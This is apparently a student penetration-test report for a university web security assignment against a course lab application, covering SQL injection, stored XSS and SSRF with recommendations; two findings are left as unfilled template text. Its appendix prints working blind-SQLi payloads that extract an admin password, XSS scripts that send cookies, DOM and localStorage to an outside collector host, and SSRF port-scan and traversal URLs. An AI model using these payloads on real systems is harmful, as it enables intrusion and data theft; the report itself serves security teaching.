We Test Pens Incorporated

COMP90074 - Web Security Assignment 2

Xiande Wen

905003

**PENETRATION TEST REPORT FOR**

**PleaseHold Pty. Ltd. - WEB APPLICATION**

**Report delivered: 06/05/2021**

# Executive Summary

We Test Pans Incorporated has carried out an exhaustive penetration test of the web application <http://assignment-hermes.unimelb.life> at the request of PleaseHold Pty. Ltd.

At the conclusion of the test, five vulnerabilities (and their associated risks) have been uncovered:

1. SQL injection;
2. Cross-site scripting;
3. Server-side request forgery;
4. Sending sensitive information over HTTP;
5. SQL wildcard attack;

These risks range in severity from high to low, with the most concern falling on the SQL injection vulnerability in the finding user functionality (Finding 1). This vulnerability allows a user to brute-force all other users’ login credentials, resulting in the ability to perform unauthorised actions and leak personally identifiable information.

Another high-risk vulnerability is the stored cross-site scripting in the web application’s anonymous question functionality (Finding 2). This vulnerability allows users to inject a piece of code to the database, which will perform unauthorised actions when triggered. The third high-risk vulnerability is the server-side request forgery, which can be made through the website validation API (Finding 3) to leak out users’ sensitive background checks information.

Next, the use of HTTP protocol presents medium risk to the web application (Finding 4). The last vulnerability, the SQL wildcard attack through the training lookup API (Finding 5) can list out all the trainings in the store. In this case, it is considered to be low-risk since no sensitive information involved. Proper mitigations are still recommended if it is not an intended usage

Based on these findings, the website is not secure enough for production. The high-risk vulnerabilities can cause severe data breach and serious damage to the business reputation and they have to be mitigated before release.

The low-risk vulnerability, SQL wildcard attack, can be fixed along with the SQL injection. The medium-risk vulnerability, depending on the deadline and budgetary constraints, can be mitigated optionally with proper warnings displayed.

Table of Contents

[Executive Summary 2](#_Toc71325098)

[Summary of Findings 5](#_Toc71325099)

[Detailed Findings 6](#_Toc71325100)

[Finding 1 - SQL injection vulnerability present in finding user functionality 6](#_Toc71325101)

[**Description** 6](#_Toc71325102)

[**Proof of Concept** 6](#_Toc71325103)

[**Impact** 6](#_Toc71325104)

[**Likelihood** 6](#_Toc71325105)

[**Risk Rating** 7](#_Toc71325106)

[**References** 7](#_Toc71325107)

[**Recommendation** 7](#_Toc71325108)

[Finding 2 - Stored cross-site scripting vulnerability present in anonymous question functionality 8](#_Toc71325109)

[**Description** 8](#_Toc71325110)

[**Proof of Concept** 8](#_Toc71325111)

[**Impact** 8](#_Toc71325112)

[**Likelihood** 8](#_Toc71325113)

[**Risk Rating** 8](#_Toc71325114)

[**References** 8](#_Toc71325115)

[**Recommendation** 8](#_Toc71325116)

[Finding 3 - Server-side request forgery vulnerability present in the website validation functionality 9](#_Toc71325117)

[**Description** 9](#_Toc71325118)

[**Proof of Concept** 9](#_Toc71325119)

[**Impact** 9](#_Toc71325120)

[**Likelihood** 9](#_Toc71325121)

[**Risk Rating** 9](#_Toc71325122)

[**References** 9](#_Toc71325123)

[**Recommendation** 9](#_Toc71325124)

[Finding 4 - Sensitive information transported in plain text via HTTP 10](#_Toc71325125)

[**Description** 10](#_Toc71325126)

[**Proof of Concept** 10](#_Toc71325127)

[**Impact** 10](#_Toc71325128)

[**Likelihood** 10](#_Toc71325129)

[**Risk Rating** 10](#_Toc71325130)

[**References** 10](#_Toc71325131)

[**Recommendation** 10](#_Toc71325132)

[Finding 5 - SQL wildcard attack vulnerability present in the API for trainings 11](#_Toc71325133)

[**Description** 11](#_Toc71325134)

[**Proof of Concept** 11](#_Toc71325135)

[**Impact** 11](#_Toc71325136)

[**Likelihood** 11](#_Toc71325137)

[**Risk Rating** 11](#_Toc71325138)

[**References** 11](#_Toc71325139)

[**Recommendation** 11](#_Toc71325140)

[Appendix I - Risk Matrix 12](#_Toc71325141)

[Appendix 2 - Additional Information 13](#_Toc71325142)

[Section 1 – SQL injection exploitation walkthrough 13](#_Toc71325143)

# Summary of Findings

A brief summary of all findings appears in the table below, sorted by Risk rating.

|  |  |  |
| --- | --- | --- |
| **Risk** | **Reference** | **Vulnerability** |
| High | Finding 1 | SQL injection vulnerability present in finding user functionality |
| High | Finding 2 | Stored cross-site scripting vulnerability present in anonymous question functionality |
| High | Finding 3 | Server-side request forgery vulnerability present in the website validation functionality |
| Medium | Finding 4 | Sensitive information transported in plain text via HTTP |
| Low | Finding 5 | SQL wildcard attack vulnerability present in the API for trainings |

# Detailed Findings

This section provides detailed descriptions of all the vulnerabilities identified.

## Finding 1 - SQL injection vulnerability present in finding user functionality

|  |  |
| --- | --- |
| **Description** | A data breach may occur due to a **SQL injection vulnerability** in the web application’s **finding user** functionality, which leads to full account takeover, resulting in potential loss of personally identifiable information (PII) and unauthorised actions.  An attacker can inject malicious SQL statements via the finding user API endpoint and identify whether a statement can fetch any data back or not from its response. Although attackers will not be able to read out the data directly from the response, they can construct the same information by brute-forcing each character through repeated requests. This will result in severe data breach as a malicious user is able to read the whole database within no time.  The exploitation requires the attacker to login first so if only specific users have the access to the portal, the likelihood that it happens will significantly decrease. |
| **Proof of Concept** | This vulnerability can be exploited when an authenticated user interacts with the finding user API endpoint (<http://assignment-hermes.unimelb.life/find-user.php?username=>) by appending some formatted SQL query to it. The API will return “true” when the query fetches something back. By taking advantage of that, an attacker can construct anything they want from the database by brute-forcing each character one by one. For a detailed walkthrough, see [Appendix 2, Section 1](#_Section_1_–). |
| **Impact** | **Major:** An attacker could obtain login credentials for all users and precede to authenticate into each one, stealing PII, and performing actions on their behalf (such as updating their profile). However, users are restricted to only querying the database, and not modifying or deleting contents. This means, at most, all an attacker could do would be to steal PII and “request” changes to a victim user’s profile, as for this attack to be successful, an attacker must already hold one set of credentials. |
| **Likelihood** | **Possible:** Inputs in web applications are the most likely to be exploited by attackers while exploiting this vulnerability requires the attacker to have a set of login credentials. Therefore, the overall likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. A data breach to one of the business systems will be a great damage to the company’s reputation, especially for one that services banks and telecommunication companies who always put security at the first place. |
| **References** | [1] Assignment 1 sample report  [2] Lecture 5 - SQLi slides |
| **Recommendation** | 1. Use prepared statements instead of string concatenation [2]. For example:   $stmt = $con->prepare("SELECT \* FROM Users WHERE username = ?");  $stmt->bind\_param("s", $\_GET["username"]);  $stmt->execute();  $stmt->close();   1. Only grant public users the access to the current database. This will prevent the attacker to access database metadata and make it harder to get the schema. |

## Finding 2 - Stored cross-site scripting vulnerability present in anonymous question functionality

|  |  |
| --- | --- |
| **Description** | The **stored cross-site scripting** vulnerability presents in the **anonymous question** functionality**.** Malicious users can inject arbitrary code into the database and when the code is triggered, unauthorised actions with elevated privileges could be performed in the name of admin users.  The exploitation requires the attacker to login first so if only specific users have the access to the portal, the likelihood that it happens will significantly decrease. |
| **Proof of Concept** | This vulnerability can be exploited by submitting malicious code entered as anonymous question. Attackers are able to steal DOM, cookies and local storage of whoever triggered the code. In this case, attackers are able to perform unauthorised actions on behalf of any HR team member who happens to open up that malicious anonymous question. For a detailed walkthrough, see [Appendix 2, Section 2, Exploitation 1](#_Exploitation_1).  Attackers can also fetch a file from the filesystem since in this case the code actually executes on the server side [1]. See [Appendix 2, Section 2, Exploitation 2](#_Exploitation_2) |
| **Impact** | **Major:** Malicious users can perform unauthorised action on behalf of HR team members and fetch files from the server. Since this vulnerability leaks out information about the server, it increases the risk of the server being exploited. |
| **Likelihood** | **Possible:** Inputs in web applications are the most likely to be exploited by attackers while exploiting this vulnerability requires the attacker to have a set of login credentials. Therefore, the overall likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. This vulnerability does not only affect the current system but also expose potential risks to the server. |
| **References** | [1] <https://www.miguelxpn.com/security/2020/03/08/Server-side-XSS.html> |
| **Recommendation** | HTML encode the users’ inputs to avoid executing malicious code. For example:  $question = htmlentities($\_POST["question"]) |

## Finding 3 - Server-side request forgery vulnerability present in the website validation functionality

|  |  |
| --- | --- |
| **Description** | The **server-side request forgery** presents in the web application’s **web validation** functionality. An attacker can induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing [1] and leaks out sensitive information without authorisations.  The exploitation requires the attacker to login first so if only specific users have the access to the portal, the likelihood that it happens will significantly decrease. |
| **Proof of Concept** | This vulnerability can be exploited by port-scanning the server [2] through the website validation API. After finding out the port, we can traverse the directory and eventually leaks out the sensitive information. For a detailed walkthrough, see [Appendix 2, Section 3](#_Section_3_–). |
| **Impact** | **Major:** An attacker could steal the background checks information of users by exploiting this vulnerability. |
| **Likelihood** | **Possible:** Website validation has strong smell of being a potential server-side request forgery vulnerability since the server normally needs to make requests to the website for validation. However, exploiting this vulnerability requires the attacker to have a set of login credentials so the likelihood is said to be possible. |
| **Risk Rating** | **High:** Referring to the risk matrix in [Appendix 1](#_Appendix_I_-), possible likelihood and major impact suggest a high risk. This vulnerability leaks out background checks information which are highly sensitive. |
| **References** | [1] <https://portswigger.net/web-security/ssrf>  [2] Lecture 14 SSRF slides |
| **Recommendation** | 1. Blacklist http://localhost, http://127.0.0.1, http://0.0.0.0 and http://172.17.0.2 2. Close that port if it is not necessary. |

## Finding 4 - Sensitive information transported in plain text via HTTP

|  |  |
| --- | --- |
| **Description** | Detailed description of the vulnerability, including a risk statement. |
| **Proof of Concept** | How can we reproduce the exploit for this vulnerability? |
| **Impact** | **Negligible: An attacker could do xyz with this vulnerability** |
| **Likelihood** | **Almost Certain: The possibility of the vulnerability being exploited** |
| **Risk Rating** | **Medium:** This is the reasoning behind my rating |
| **References** | **http://example.com** |
| **Recommendation** | The fix goes here |

## Finding 5 - SQL wildcard attack vulnerability present in the API for trainings

|  |  |
| --- | --- |
| **Description** | Detailed description of the vulnerability, including a risk statement. |
| **Proof of Concept** | How can we reproduce the exploit for this vulnerability? |
| **Impact** | **Negligible: An attacker could do xyz with this vulnerability** |
| **Likelihood** | **Possible: The possibility of the vulnerability being exploited** |
| **Risk Rating** | **Low:** This is the reasoning behind my rating |
| **References** | **http://example.com** |
| **Recommendation** | The fix goes here |

# Appendix I - Risk Matrix

All risks assessed in this report are in line with the ISO31000 Risk Matrix detailed below:



# Appendix 2 - Additional Information

This section is for any additional information you feel is relevant. This is where all your code and large proof of concepts should be! Make sure the code is properly formatted (and keep it in another file if needed, but refer to it properly)

## Section 1 – SQL injection exploitation walkthrough

The following steps (only critical steps are shown here) provide a proof of concept for an attack that exploits this vulnerability and retrieves sensitive information (in the form of the flag). Each payload is placed at the end of the finding user API endpoint (<http://assignment-hermes.unimelb.life/find-user.php?username=>).

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | 1. ' --+ 2. ' union select NULL,NULL,NULL --+ | From the responses of a) and b) we know that here is an SQL injection point and three columns are selected in the original statement. |
| 2 | 1. ' union select NULL,NULL,NULL having substring(database(),1,1)=BINARY 'S' limit 1 --+ 2. ' union select NULL,NULL,NULL having substring(database(),1,2)=BINARY 'Se' limit 1 --+ | In a), we use having clause to construct the statement such that the response will be “true” only if we have guessed the first character of database() correctly.  In b), we increment the length of substring by one and try to guess the second character.  We repeat step b) till the length can no longer increase, e.g., no character in the current candidate charset satisfies the next guessing character.  It might be the case that we have found the whole string, or that we have ran out the candidate charset.  Then we have two options:   1. We will use common sense here to tell whether we have got all the characters of what we are looking for, or there is actually a next character but it is missing in the current candidate charset, which should be a very rare case but if it happens, we will need to expand our charset. 2. We assume that we have got the correct guess and continue our exploitation. If we cannot proceed further, this should be one of places we suspect.   In this case, we happen to get all the characters covered in our first candidate charset (See charset variable in sqli.py) and find out the value of database(), the current database name, to be “Secure”. |
| 3 | 1. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,7)=BINARY 'testing' limit 1 --+ 2. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,9)=BINARY 'Trainings' and table\_name<>'testing' limit 1 --+ 3. ' union select NULL,NULL, table\_name from information\_schema.columns where table\_schema='Secure' having substr(table\_name,1,5)=BINARY 'Users' and table\_name<>'testing' and table\_name<>'Trainings' limit 1 --+ | In a), we do the same thing as step 2 to get the first table name of “Secure” from information\_schema.  In b), we try to find the second table name of “Secure”. To do that, we can simply add a condition to only match table name which is not “testing”. This gives us the second table name “Trainings”.  Next in c), we can get the third table name “Users” by guessing table name which is not either “testing” or “Trainings”.  We can repeat the above steps to get the fourth table name and we found that no character in the candidate charset satisfies the first character of the fourth table so we know there are three tables in “Secure” in total.  It might be the case that we ran out the candidate characters as mentioned in step 2 and we chose to continue with just those three tables, which turned out to be alright. |
| 4 | 1. ' union select NULL,NULL, column\_name from information\_schema.columns where table\_name='Users' having substr(column\_name,1,3)=BINARY 'api' limit 1 --+ 2. ' union select NULL,NULL, column\_name from information\_schema.columns where table\_name='Users' having substr(column\_name,1,2)=BINARY 'id' and column\_name<>'api' limit 1 --+ | In this step, all the column names in the “Users” table are found out by doing similar things to what we did in step 3.  Seven columns are found in “Users” table: "api", "id", "password", "probation", "**roles**", "username", "website".  Next, we want to find out what values are in column “roles” as we want to see if there are any admin users. |
| 5. | 1. ' union select NULL,NULL, roles from Users having substr(roles,1,4)=BINARY 'user' limit 1 --+ 2. ' union select NULL,NULL, roles from Users having substr(roles,1,8)=BINARY 'HR admin' and roles<>'user' limit 1 --+ | The step leaks all the values under the “roles” column: "user", "HR admin".  Next, we want to find out who are “HR admin”. |
| 6 | ' union select NULL,roles,username from Users having substr(username,1,10)=BINARY 'prodigysml' and roles=BINARY 'HR admin' limit 1 --+ | Leaks out the first admin username. |
| 7 | ' union select NULL,username,password from Users having substr(password,1,32)=BINARY 'FLAG{Wear\_some\_glasses\_minions!}' and username=BINARY 'prodigysml' limit 1 --+ | Leaks out the password of “prodigysml” which turns out to be the flag: “FLAG{Wear\_some\_glasses\_minions!}” |

The above steps (plus more exploration steps) are detailed and automated in sqli.py. By running it directly using `py sqli.py` will brute-force out the flag. Uncommenting code for other steps and rerunning the file will produce the corresponding outputs.

[Return to the main report](#_Proof_of_Concept)

## Section 2 – stored cross-site scripting exploitation walkthrough

### Exploitation 1

The following steps provide a proof of concept on how the stored cross-site scripting vulnerability is exploited to make an unauthorised user passing the probation on behalf of the HR team member.

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | <script>  var serializer = new XMLSerializer();  var xhttp = new XMLHttpRequest();  xhttp.open("POST", "https://hermes.free.beeceptor.com");  xhttp.send(  "dom=" + serializer.serializeToString(document) +  "&cookie=" + document.cookie +  "&localStorage=" + JSON.stringify(localStorage));  xhttp.send();  </script> | Attackers find the stored cross-site scripting injection point by submitting this payload as an anonymous question. |
| 2 |  | Because no sensitive information can be stolen as shown in step 1, attackers keep exploring for hints of performing unauthorised actions. The following code looks suspicious.    Visiting [http://assignment-hermes.unimelb.life/ pass\_probation.php ?user=xiandew](http://assignment-hermes.unimelb.life/pass_probation.php?user=xiandew) directly in the browser shows “Unauthorised!”. |
| 3 | <!-- xss\_1.html -->  <script>  var xhr = new XMLHttpRequest();  xhr.onload = function () {  var xhr2 = new XMLHttpRequest();  xhr2.open("POST", "https://hermes.free.beeceptor.com");  xhr2.send("test=" + this.responseText);  };  xhr.open("GET", "http://assignment-hermes.unimelb.life/pass\_probation.php?user=xiandew");  xhr.send();  </script> | Injecting this payload as an anonymous question when it is opened, the user “xiandew” will pass the probation on behalf of the HR team member who reads the question. This gives us “Updated” as the response.    In the user profile page, we can see that the user successfully passed the probation and leaked out the sensitive information (in form of the flag) |

[Return to the main report](#_Proof_of_Concept_1)

### Exploitation 2

The following step shows how stored cross-site scripting can be exploited to fetch a file from the filesystem.

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | <!-- xxs\_2.html -->  <script>  var xhr = new XMLHttpRequest();  xhr.onload = function () {  var xhr2 = new XMLHttpRequest();  xhr2.open("POST", "https://hermes.free.beeceptor.com");  xhr2.send("test=" + this.responseText);  };  xhr.open("GET", "/etc/hosts");  xhr.send();  </script> | Submitting this payload as an anonymous question gives the following response: |

## Section 3 – Server-side request forgery exploitation walkthrough

The following step shows using the server-side request forgery to get the background checks information in form of the flag. Each payload is placed at the end of <http://assignment-hermes.unimelb.life/validate.php?web=> .

|  |  |  |
| --- | --- | --- |
| **Step** | **Payload** | **Explanation** |
| 1 | 1. http://localhost:1 2. http://localhost:2 3. http://localhost:8873 | Port-scan the server till the response changes. |
| 2 | 1. http://localhost:8873/documents/ 2. http://localhost:8873/random/ 3. http://localhost:8873/documents/background-checks/ 4. http://localhost:8873/documents/background-checks/sensitive/ 5. http://localhost:8873/documents/background-checks/sensitive/flag.txt | Traverse every directory and eventually we leak out the sensitive information: |